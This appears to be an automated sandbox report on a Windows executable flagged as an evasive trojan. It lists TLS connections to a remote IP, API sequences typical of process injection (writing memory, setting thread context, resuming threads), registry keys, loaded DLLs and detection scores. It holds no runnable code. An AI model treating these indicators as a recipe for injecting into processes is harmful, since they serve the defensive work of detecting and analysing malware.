Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 50111 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50123 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50101 -> 443

Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49871 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49884 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49895 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49906 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49932 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49944 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49958 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49980 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50018 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50034 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50039 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50043 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50047 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50055 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50057 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50059 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50061 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50063 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50065 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50067 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50069 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50071 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50073 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50075 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50077 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50079 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50081 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50083 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50085 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50089 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50091 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50091 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50093 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50095 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50097 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50099 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50101 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50103 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50105 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50107 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50109 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50111 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50113 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50115 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50117 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50119 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50121 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50123 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50125 version: TLS 1.2

Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: 1_2_0287DFE4 RtlDosPathNameToNtPathName_U,NtOpenFile,NtQueryInformationFile,NtReadFile,NtClose,	1_2_0287DFE4
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: 1_2_02877CF8 NtWriteVirtualMemory,	1_2_02877CF8
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: 1_2_02878BA6 GetThreadContext,SetThreadContext,NtResumeThread,	1_2_02878BA6
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: 1_2_02878BA8 GetThreadContext,SetThreadContext,NtResumeThread,	1_2_02878BA8
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: 1_2_0287DE24 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	1_2_0287DE24
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: 1_2_0287DE78 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	1_2_0287DE78
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: 1_2_0287DF00 RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,	1_2_0287DF00

Source: C:\Users\user\Desktop\UTstKgkJNY.exe

Code function: 1_2_0287F0A8 InetIsOffline,CoInitialize,CoUninitialize,Sleep,MoveFileA,MoveFileA,CreateProcessAsUserW,ResumeThread,CloseHandle,CloseHandle,ExitProcess,

1_2_0287F0A8

Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: 1_2_028620C4		1_2_028620C4
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: 1_2_0288E59A		1_2_0288E59A

Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: String function: 028646A4 appears 244 times
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: String function: 028644D0 appears 33 times
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: String function: 02878798 appears 54 times
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: String function: 0286480C appears 931 times
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: String function: 0287881C appears 45 times
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Code function: String function: 028644AC appears 74 times

Source: UTstKgkJNY.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: classification engine

Classification label: mal76.troj.evad.winEXE@1/0@1/1

Source: C:\Users\user\Desktop\UTstKgkJNY.exe

Code function: 1_2_02867F54 GetDiskFreeSpaceA,

1_2_02867F54

Source: C:\Users\user\Desktop\UTstKgkJNY.exe

Code function: 1_2_02876D48 CoCreateInstance,

1_2_02876D48

Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: C:\Users\user\Desktop\UTstKgkJNY.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: UTstKgkJNY.exe

ReversingLabs: Detection: 68%

Source: C:\Users\user\Desktop\UTstKgkJNY.exe

File read: C:\Users\user\Desktop\UTstKgkJNY.exe

Jump to behavior

Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: url.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: winhttpcom.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
